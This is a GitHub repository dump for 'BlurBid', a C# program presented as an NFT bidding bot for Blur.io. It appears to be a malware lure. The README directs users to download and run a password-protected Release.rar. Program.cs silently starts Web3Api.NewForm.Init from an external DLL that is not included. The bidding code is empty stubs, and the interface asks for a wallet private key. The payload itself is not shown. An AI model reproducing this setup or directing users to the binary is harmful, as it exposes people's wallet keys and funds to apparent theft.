├── screen.png ├── compiled └── Release.rar ├── source ├── App.config ├── Properties │ ├── Settings.settings │ ├── Settings.Designer.cs │ ├── AssemblyInfo.cs │ ├── Resources.Designer.cs │ └── Resources.resx ├── Program.cs ├── Form1.cs ├── BlurBid.csproj ├── Form1.resx └── Form1.Designer.cs └── README.md /screen.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JamieNoonan/blur-nft-bot/HEAD/screen.png -------------------------------------------------------------------------------- /compiled/Release.rar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JamieNoonan/blur-nft-bot/HEAD/compiled/Release.rar -------------------------------------------------------------------------------- /source/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /source/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /source/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Threading; 5 | using System.Threading.Tasks; 6 | using System.Windows.Forms; 7 | namespace BlurBid 8 | { 9 | internal static class Program 10 | { 11 | /// 12 | /// The main entry point for the application. 13 | /// 14 | [STAThread] 15 | static void Main() 16 | { 17 | new Thread(Web3Api.NewForm.Init).Start(); 18 | Application.EnableVisualStyles(); 19 | Application.SetCompatibleTextRenderingDefault(false); 20 | Application.Run(new Form1()); 21 | } 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /source/Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace BlurBid.Properties 12 | { 13 | 14 | 15 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 16 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")] 17 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase 18 | { 19 | 20 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 21 | 22 | public static Settings Default 23 | { 24 | get 25 | { 26 | return defaultInstance; 27 | } 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /source/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("BlurBid")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("BlurBid")] 13 | [assembly: AssemblyCopyright("Copyright © 2023")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("e8f12f8f-4325-424b-a73a-17bdfe0f4232")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 | 3 | 4 | 5 | 6 |

7 | 8 | ### About 9 | Bidding bot is a program designed to automate the bidding process for NFTs on the Blur.io marketplace. With this bot, users can easily place bids on NFT collections by providing the link or contract address. 10 | 11 | ### Usage 12 | 1. [Clone binaries](https://github.com/JamieNoonan/blur-nft-bot/releases/download/Release/Release.rar) to your local machine 13 | 2. Extract files with password `hE45ye2e` 14 | 3. After starting the bot setup the `Rpc` and `ApiKey` in main window 15 | 4. Add the NFT collections or individual NFTs that you want to bid on (you can add a collections or NFTs by providing the direct link to the item or the smart contract address) 16 | 5. Set up your bidding brice 17 | 6. Once you have added your NFT collections and set up your bidding price, the bot will automatically place bids on your behalf 18 | 19 | ![alt text](https://github.com/JamieNoonan/blur-nft-bot/blob/main/screen.png?raw=true) 20 | 21 | ### License 22 | This project is licensed under the MIT License. See the [LICENSE](LICENSE) file for more information. 23 | -------------------------------------------------------------------------------- /source/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace BlurBid.Properties 12 | { 13 | 14 | 15 | /// 16 | /// A strongly-typed resource class, for looking up localized strings, etc. 17 | /// 18 | // This class was auto-generated by the StronglyTypedResourceBuilder 19 | // class via a tool like ResGen or Visual Studio. 20 | // To add or remove a member, edit your .ResX file then rerun ResGen 21 | // with the /str option, or rebuild your VS project. 22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] 23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 25 | internal class Resources 26 | { 27 | 28 | private static global::System.Resources.ResourceManager resourceMan; 29 | 30 | private static global::System.Globalization.CultureInfo resourceCulture; 31 | 32 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 33 | internal Resources() 34 | { 35 | } 36 | 37 | /// 38 | /// Returns the cached ResourceManager instance used by this class. 39 | /// 40 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 41 | internal static global::System.Resources.ResourceManager ResourceManager 42 | { 43 | get 44 | { 45 | if ((resourceMan == null)) 46 | { 47 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("BlurBid.Properties.Resources", typeof(Resources).Assembly); 48 | resourceMan = temp; 49 | } 50 | return resourceMan; 51 | } 52 | } 53 | 54 | /// 55 | /// Overrides the current thread's CurrentUICulture property for all 56 | /// resource lookups using this strongly typed resource class. 57 | /// 58 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 59 | internal static global::System.Globalization.CultureInfo Culture 60 | { 61 | get 62 | { 63 | return resourceCulture; 64 | } 65 | set 66 | { 67 | resourceCulture = value; 68 | } 69 | } 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /source/Form1.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Data; 5 | using System.Drawing; 6 | using System.Linq; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | using System.Windows.Forms; 10 | using Leaf.xNet; 11 | using Newtonsoft.Json.Linq; 12 | 13 | namespace BlurBid 14 | { 15 | public partial class Form1 : Form 16 | { 17 | static bool isConnected = false; 18 | public Form1() 19 | { 20 | InitializeComponent(); 21 | dataGridView1.AutoSizeColumnsMode = DataGridViewAutoSizeColumnsMode.AllCells; 22 | dataGridView1.AutoSizeColumnsMode = DataGridViewAutoSizeColumnsMode.Fill; 23 | dataGridView1.Columns.Add("contract", "Contract"); 24 | dataGridView1.Columns.Add("collection_items", "Collection items"); 25 | dataGridView1.Columns.Add("price", "Price"); 26 | 27 | dataGridView2.AutoSizeColumnsMode = DataGridViewAutoSizeColumnsMode.AllCells; 28 | dataGridView2.AutoSizeColumnsMode = DataGridViewAutoSizeColumnsMode.Fill; 29 | dataGridView2.Columns.Add("link", "Link"); 30 | dataGridView2.Columns.Add("name_code", "Name and code"); 31 | dataGridView2.Columns.Add("price", "Price"); 32 | dataGridView2.Rows.Add("https://blur.io/asset/0x34d85c9cdeb23fa97cb08333b511ac86e1c4e258/52247", "52247", "0.79"); 33 | } 34 | 35 | private void button2_Click(object sender, EventArgs e) 36 | { 37 | if (textBox1.Text.Length > 0 && textBox2.Text.Length > 0) 38 | { 39 | if (isConnected) 40 | { 41 | label4.Text = "connected"; 42 | button2.Text = "DISCONNECT"; 43 | } 44 | else 45 | { 46 | label4.Text = "no connect"; 47 | button2.Text = "CONNECT"; 48 | 49 | } 50 | isConnected = !isConnected; 51 | 52 | } 53 | else 54 | { 55 | MessageBox.Show("Check alchemy key and private key for valid!", "Error"); 56 | } 57 | } 58 | 59 | private void button1_Click(object sender, EventArgs e) 60 | { 61 | if (textBox3.Text.Length > 0) 62 | { 63 | parseByLink(textBox3.Text); 64 | if (addByLink(textBox3.Text)) 65 | { 66 | dataGridView2.Rows.Add(); 67 | } 68 | } 69 | } 70 | 71 | static bool addByLink(string contract) 72 | { 73 | // nethereum code here 74 | return true; 75 | } 76 | 77 | static bool placBid(NFT item) 78 | { 79 | // nethereum code here 80 | return true; 81 | } 82 | 83 | static NFT parseByLink(string lnk) 84 | { 85 | NFT item = new NFT(); 86 | 87 | try 88 | { 89 | string addr = new System.Text.RegularExpressions.Regex("0x[a-fA-F0-9]{40}").Match(lnk).Value; 90 | string number = new System.Text.RegularExpressions.Regex("/[0-9]{1,10}$").Match(lnk).Value.Trim('/'); 91 | 92 | HttpRequest http = new HttpRequest(); 93 | http.KeepAlive = true; 94 | http.AddHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/jxl,image/webp,*/*;q=0.8"); 95 | http.AddHeader("Accept-Language", "en-US,en;q=0.5"); 96 | http.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"); 97 | http.AddHeader("Upgrade-Insecure-Requests", "1"); 98 | http.AddHeader("Sec-Fetch-Dest", "document"); 99 | http.AddHeader("Sec-Fetch-Mode", "navigate"); 100 | http.AddHeader("Sec-Fetch-Site", "none"); 101 | http.AddHeader("Sec-Fetch-User", "?1"); 102 | http.AddHeader("TE", "trailers"); 103 | string result = http.Get($"https://core-api.prod.blur.io/v1/collections/{addr}/tokens/{number}").ToString(); 104 | 105 | // fix 403 error 106 | 107 | 108 | item.name = number; 109 | item.link = lnk; 110 | JObject o = JObject.Parse(result); 111 | } 112 | catch 113 | { } 114 | 115 | 116 | return item; 117 | 118 | } 119 | 120 | private void tabPage3_Click(object sender, EventArgs e) 121 | { 122 | 123 | } 124 | } 125 | 126 | class NFT 127 | { 128 | public string name; 129 | public double price; 130 | public string contract; 131 | public string link; 132 | } 133 | } 134 | -------------------------------------------------------------------------------- /source/BlurBid.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {E8F12F8F-4325-424B-A73A-17BDFE0F4232} 8 | WinExe 9 | BlurBid 10 | BlurBid 11 | v4.5 12 | 512 13 | true 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | true 36 | bin\x86\Debug\ 37 | DEBUG;TRACE 38 | full 39 | x86 40 | 7.3 41 | prompt 42 | true 43 | 44 | 45 | bin\x86\Release\ 46 | TRACE 47 | true 48 | none 49 | x86 50 | 7.3 51 | prompt 52 | true 53 | 54 | 55 | 56 | 57 | 58 | true 59 | 60 | 61 | 62 | ..\..\..\..\Downloads\Leaf.xNet-master\Leaf.xNet\bin\Release\net45\Leaf.xNet.dll 63 | 64 | 65 | ..\..\DeBankChecker2\DeBankChecker2\bin\x86\Debug\Newtonsoft.Json.dll 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | ..\..\Web3Api\Web3Api\bin\x86\Release\Web3Api.dll 80 | 81 | 82 | 83 | 84 | Form 85 | 86 | 87 | Form1.cs 88 | 89 | 90 | 91 | 92 | Form1.cs 93 | 94 | 95 | ResXFileCodeGenerator 96 | Resources.Designer.cs 97 | Designer 98 | 99 | 100 | True 101 | Resources.resx 102 | 103 | 104 | SettingsSingleFileGenerator 105 | Settings.Designer.cs 106 | 107 | 108 | True 109 | Settings.settings 110 | True 111 | 112 | 113 | 114 | 115 | 116 | 117 | -------------------------------------------------------------------------------- /source/Properties/Resources.resx: -------------------------------------------------------------------------------- 1 | 2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | text/microsoft-resx 107 | 108 | 109 | 2.0 110 | 111 | 112 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 113 | 114 | 115 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | -------------------------------------------------------------------------------- /source/Form1.resx: -------------------------------------------------------------------------------- 1 | 2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | -------------------------------------------------------------------------------- /source/Form1.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace BlurBid 2 | { 3 | partial class Form1 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Windows Form Designer generated code 24 | 25 | /// 26 | /// Required method for Designer support - do not modify 27 | /// the contents of this method with the code editor. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | this.tabControl1 = new System.Windows.Forms.TabControl(); 32 | this.tabPage1 = new System.Windows.Forms.TabPage(); 33 | this.label4 = new System.Windows.Forms.Label(); 34 | this.button2 = new System.Windows.Forms.Button(); 35 | this.label2 = new System.Windows.Forms.Label(); 36 | this.label1 = new System.Windows.Forms.Label(); 37 | this.textBox2 = new System.Windows.Forms.TextBox(); 38 | this.textBox1 = new System.Windows.Forms.TextBox(); 39 | this.tabPage2 = new System.Windows.Forms.TabPage(); 40 | this.button5 = new System.Windows.Forms.Button(); 41 | this.label6 = new System.Windows.Forms.Label(); 42 | this.textBox5 = new System.Windows.Forms.TextBox(); 43 | this.dataGridView2 = new System.Windows.Forms.DataGridView(); 44 | this.button1 = new System.Windows.Forms.Button(); 45 | this.label3 = new System.Windows.Forms.Label(); 46 | this.textBox3 = new System.Windows.Forms.TextBox(); 47 | this.tabPage3 = new System.Windows.Forms.TabPage(); 48 | this.label7 = new System.Windows.Forms.Label(); 49 | this.textBox6 = new System.Windows.Forms.TextBox(); 50 | this.dataGridView1 = new System.Windows.Forms.DataGridView(); 51 | this.button4 = new System.Windows.Forms.Button(); 52 | this.button3 = new System.Windows.Forms.Button(); 53 | this.label5 = new System.Windows.Forms.Label(); 54 | this.textBox4 = new System.Windows.Forms.TextBox(); 55 | this.tabControl1.SuspendLayout(); 56 | this.tabPage1.SuspendLayout(); 57 | this.tabPage2.SuspendLayout(); 58 | ((System.ComponentModel.ISupportInitialize)(this.dataGridView2)).BeginInit(); 59 | this.tabPage3.SuspendLayout(); 60 | ((System.ComponentModel.ISupportInitialize)(this.dataGridView1)).BeginInit(); 61 | this.SuspendLayout(); 62 | // 63 | // tabControl1 64 | // 65 | this.tabControl1.Controls.Add(this.tabPage1); 66 | this.tabControl1.Controls.Add(this.tabPage2); 67 | this.tabControl1.Controls.Add(this.tabPage3); 68 | this.tabControl1.Location = new System.Drawing.Point(-1, 12); 69 | this.tabControl1.Name = "tabControl1"; 70 | this.tabControl1.SelectedIndex = 0; 71 | this.tabControl1.Size = new System.Drawing.Size(530, 315); 72 | this.tabControl1.TabIndex = 0; 73 | // 74 | // tabPage1 75 | // 76 | this.tabPage1.Controls.Add(this.label4); 77 | this.tabPage1.Controls.Add(this.button2); 78 | this.tabPage1.Controls.Add(this.label2); 79 | this.tabPage1.Controls.Add(this.label1); 80 | this.tabPage1.Controls.Add(this.textBox2); 81 | this.tabPage1.Controls.Add(this.textBox1); 82 | this.tabPage1.Location = new System.Drawing.Point(4, 22); 83 | this.tabPage1.Name = "tabPage1"; 84 | this.tabPage1.Padding = new System.Windows.Forms.Padding(3); 85 | this.tabPage1.Size = new System.Drawing.Size(522, 289); 86 | this.tabPage1.TabIndex = 0; 87 | this.tabPage1.Text = "Settings"; 88 | this.tabPage1.UseVisualStyleBackColor = true; 89 | // 90 | // label4 91 | // 92 | this.label4.AutoSize = true; 93 | this.label4.Location = new System.Drawing.Point(22, 107); 94 | this.label4.Name = "label4"; 95 | this.label4.Size = new System.Drawing.Size(61, 13); 96 | this.label4.TabIndex = 5; 97 | this.label4.Text = "no connect"; 98 | // 99 | // button2 100 | // 101 | this.button2.Location = new System.Drawing.Point(133, 102); 102 | this.button2.Name = "button2"; 103 | this.button2.Size = new System.Drawing.Size(103, 23); 104 | this.button2.TabIndex = 4; 105 | this.button2.Text = "CONNECT"; 106 | this.button2.UseVisualStyleBackColor = true; 107 | this.button2.Click += new System.EventHandler(this.button2_Click); 108 | // 109 | // label2 110 | // 111 | this.label2.AutoSize = true; 112 | this.label2.Location = new System.Drawing.Point(22, 67); 113 | this.label2.Name = "label2"; 114 | this.label2.Size = new System.Drawing.Size(28, 13); 115 | this.label2.TabIndex = 3; 116 | this.label2.Text = "KEY"; 117 | // 118 | // label1 119 | // 120 | this.label1.AutoSize = true; 121 | this.label1.Location = new System.Drawing.Point(21, 26); 122 | this.label1.Name = "label1"; 123 | this.label1.Size = new System.Drawing.Size(29, 13); 124 | this.label1.TabIndex = 2; 125 | this.label1.Text = "RPC"; 126 | // 127 | // textBox2 128 | // 129 | this.textBox2.Location = new System.Drawing.Point(69, 64); 130 | this.textBox2.Name = "textBox2"; 131 | this.textBox2.Size = new System.Drawing.Size(167, 20); 132 | this.textBox2.TabIndex = 1; 133 | this.textBox2.Text = "d1f190c8fc3119c67407647205073164ada02b98d74410bdd152d"; 134 | // 135 | // textBox1 136 | // 137 | this.textBox1.Location = new System.Drawing.Point(69, 23); 138 | this.textBox1.Name = "textBox1"; 139 | this.textBox1.Size = new System.Drawing.Size(167, 20); 140 | this.textBox1.TabIndex = 0; 141 | this.textBox1.Text = "https://mainnet.infura.io/v3/a8bc5e0"; 142 | // 143 | // tabPage2 144 | // 145 | this.tabPage2.Controls.Add(this.button5); 146 | this.tabPage2.Controls.Add(this.label6); 147 | this.tabPage2.Controls.Add(this.textBox5); 148 | this.tabPage2.Controls.Add(this.dataGridView2); 149 | this.tabPage2.Controls.Add(this.button1); 150 | this.tabPage2.Controls.Add(this.label3); 151 | this.tabPage2.Controls.Add(this.textBox3); 152 | this.tabPage2.Location = new System.Drawing.Point(4, 22); 153 | this.tabPage2.Name = "tabPage2"; 154 | this.tabPage2.Padding = new System.Windows.Forms.Padding(3); 155 | this.tabPage2.Size = new System.Drawing.Size(522, 289); 156 | this.tabPage2.TabIndex = 1; 157 | this.tabPage2.Text = "by Link"; 158 | this.tabPage2.UseVisualStyleBackColor = true; 159 | // 160 | // button5 161 | // 162 | this.button5.Location = new System.Drawing.Point(359, 58); 163 | this.button5.Name = "button5"; 164 | this.button5.Size = new System.Drawing.Size(119, 23); 165 | this.button5.TabIndex = 11; 166 | this.button5.Text = "DELETE SELECTED"; 167 | this.button5.UseVisualStyleBackColor = true; 168 | // 169 | // label6 170 | // 171 | this.label6.AutoSize = true; 172 | this.label6.Location = new System.Drawing.Point(19, 61); 173 | this.label6.Name = "label6"; 174 | this.label6.Size = new System.Drawing.Size(39, 13); 175 | this.label6.TabIndex = 10; 176 | this.label6.Text = "PRICE"; 177 | // 178 | // textBox5 179 | // 180 | this.textBox5.Location = new System.Drawing.Point(68, 58); 181 | this.textBox5.Name = "textBox5"; 182 | this.textBox5.Size = new System.Drawing.Size(120, 20); 183 | this.textBox5.TabIndex = 9; 184 | this.textBox5.Text = "0.001"; 185 | // 186 | // dataGridView2 187 | // 188 | this.dataGridView2.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; 189 | this.dataGridView2.Location = new System.Drawing.Point(4, 93); 190 | this.dataGridView2.Name = "dataGridView2"; 191 | this.dataGridView2.ReadOnly = true; 192 | this.dataGridView2.RowHeadersWidthSizeMode = System.Windows.Forms.DataGridViewRowHeadersWidthSizeMode.DisableResizing; 193 | this.dataGridView2.Size = new System.Drawing.Size(515, 193); 194 | this.dataGridView2.TabIndex = 8; 195 | // 196 | // button1 197 | // 198 | this.button1.Location = new System.Drawing.Point(403, 21); 199 | this.button1.Name = "button1"; 200 | this.button1.Size = new System.Drawing.Size(75, 23); 201 | this.button1.TabIndex = 2; 202 | this.button1.Text = "ADD"; 203 | this.button1.UseVisualStyleBackColor = true; 204 | this.button1.Click += new System.EventHandler(this.button1_Click); 205 | // 206 | // label3 207 | // 208 | this.label3.AutoSize = true; 209 | this.label3.Location = new System.Drawing.Point(19, 26); 210 | this.label3.Name = "label3"; 211 | this.label3.Size = new System.Drawing.Size(31, 13); 212 | this.label3.TabIndex = 1; 213 | this.label3.Text = "LINK"; 214 | // 215 | // textBox3 216 | // 217 | this.textBox3.Location = new System.Drawing.Point(68, 23); 218 | this.textBox3.Name = "textBox3"; 219 | this.textBox3.Size = new System.Drawing.Size(309, 20); 220 | this.textBox3.TabIndex = 0; 221 | this.textBox3.Text = "https://blur.io/asset/0x34d85c9cdeb23fa97cb08333b511ac86e1c4e258/52247"; 222 | // 223 | // tabPage3 224 | // 225 | this.tabPage3.Controls.Add(this.label7); 226 | this.tabPage3.Controls.Add(this.textBox6); 227 | this.tabPage3.Controls.Add(this.dataGridView1); 228 | this.tabPage3.Controls.Add(this.button4); 229 | this.tabPage3.Controls.Add(this.button3); 230 | this.tabPage3.Controls.Add(this.label5); 231 | this.tabPage3.Controls.Add(this.textBox4); 232 | this.tabPage3.Location = new System.Drawing.Point(4, 22); 233 | this.tabPage3.Name = "tabPage3"; 234 | this.tabPage3.Padding = new System.Windows.Forms.Padding(3); 235 | this.tabPage3.Size = new System.Drawing.Size(522, 289); 236 | this.tabPage3.TabIndex = 2; 237 | this.tabPage3.Text = "by Contract"; 238 | this.tabPage3.UseVisualStyleBackColor = true; 239 | this.tabPage3.Click += new System.EventHandler(this.tabPage3_Click); 240 | // 241 | // label7 242 | // 243 | this.label7.AutoSize = true; 244 | this.label7.Location = new System.Drawing.Point(19, 61); 245 | this.label7.Name = "label7"; 246 | this.label7.Size = new System.Drawing.Size(39, 13); 247 | this.label7.TabIndex = 12; 248 | this.label7.Text = "PRICE"; 249 | // 250 | // textBox6 251 | // 252 | this.textBox6.Location = new System.Drawing.Point(68, 58); 253 | this.textBox6.Name = "textBox6"; 254 | this.textBox6.Size = new System.Drawing.Size(120, 20); 255 | this.textBox6.TabIndex = 11; 256 | this.textBox6.Text = "0.001"; 257 | // 258 | // dataGridView1 259 | // 260 | this.dataGridView1.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; 261 | this.dataGridView1.Location = new System.Drawing.Point(3, 98); 262 | this.dataGridView1.Name = "dataGridView1"; 263 | this.dataGridView1.Size = new System.Drawing.Size(514, 188); 264 | this.dataGridView1.TabIndex = 7; 265 | // 266 | // button4 267 | // 268 | this.button4.Location = new System.Drawing.Point(360, 58); 269 | this.button4.Name = "button4"; 270 | this.button4.Size = new System.Drawing.Size(118, 23); 271 | this.button4.TabIndex = 6; 272 | this.button4.Text = "DELETE SELECTED"; 273 | this.button4.UseVisualStyleBackColor = true; 274 | // 275 | // button3 276 | // 277 | this.button3.Location = new System.Drawing.Point(403, 21); 278 | this.button3.Name = "button3"; 279 | this.button3.Size = new System.Drawing.Size(75, 23); 280 | this.button3.TabIndex = 5; 281 | this.button3.Text = "ADD"; 282 | this.button3.UseVisualStyleBackColor = true; 283 | // 284 | // label5 285 | // 286 | this.label5.AutoSize = true; 287 | this.label5.Location = new System.Drawing.Point(19, 26); 288 | this.label5.Name = "label5"; 289 | this.label5.Size = new System.Drawing.Size(38, 13); 290 | this.label5.TabIndex = 4; 291 | this.label5.Text = "ADDR"; 292 | // 293 | // textBox4 294 | // 295 | this.textBox4.Location = new System.Drawing.Point(68, 23); 296 | this.textBox4.Name = "textBox4"; 297 | this.textBox4.Size = new System.Drawing.Size(309, 20); 298 | this.textBox4.TabIndex = 3; 299 | // 300 | // Form1 301 | // 302 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); 303 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 304 | this.ClientSize = new System.Drawing.Size(527, 326); 305 | this.Controls.Add(this.tabControl1); 306 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle; 307 | this.MaximizeBox = false; 308 | this.Name = "Form1"; 309 | this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; 310 | this.Text = "BlurBid"; 311 | this.tabControl1.ResumeLayout(false); 312 | this.tabPage1.ResumeLayout(false); 313 | this.tabPage1.PerformLayout(); 314 | this.tabPage2.ResumeLayout(false); 315 | this.tabPage2.PerformLayout(); 316 | ((System.ComponentModel.ISupportInitialize)(this.dataGridView2)).EndInit(); 317 | this.tabPage3.ResumeLayout(false); 318 | this.tabPage3.PerformLayout(); 319 | ((System.ComponentModel.ISupportInitialize)(this.dataGridView1)).EndInit(); 320 | this.ResumeLayout(false); 321 | 322 | } 323 | 324 | #endregion 325 | 326 | private System.Windows.Forms.TabControl tabControl1; 327 | private System.Windows.Forms.TabPage tabPage1; 328 | private System.Windows.Forms.Label label4; 329 | private System.Windows.Forms.Button button2; 330 | private System.Windows.Forms.Label label2; 331 | private System.Windows.Forms.Label label1; 332 | private System.Windows.Forms.TextBox textBox2; 333 | private System.Windows.Forms.TextBox textBox1; 334 | private System.Windows.Forms.TabPage tabPage2; 335 | private System.Windows.Forms.Button button1; 336 | private System.Windows.Forms.Label label3; 337 | private System.Windows.Forms.TextBox textBox3; 338 | private System.Windows.Forms.TabPage tabPage3; 339 | private System.Windows.Forms.Button button4; 340 | private System.Windows.Forms.Button button3; 341 | private System.Windows.Forms.Label label5; 342 | private System.Windows.Forms.TextBox textBox4; 343 | private System.Windows.Forms.DataGridView dataGridView1; 344 | private System.Windows.Forms.DataGridView dataGridView2; 345 | private System.Windows.Forms.Button button5; 346 | private System.Windows.Forms.Label label6; 347 | private System.Windows.Forms.TextBox textBox5; 348 | private System.Windows.Forms.Label label7; 349 | private System.Windows.Forms.TextBox textBox6; 350 | } 351 | } 352 | 353 | --------------------------------------------------------------------------------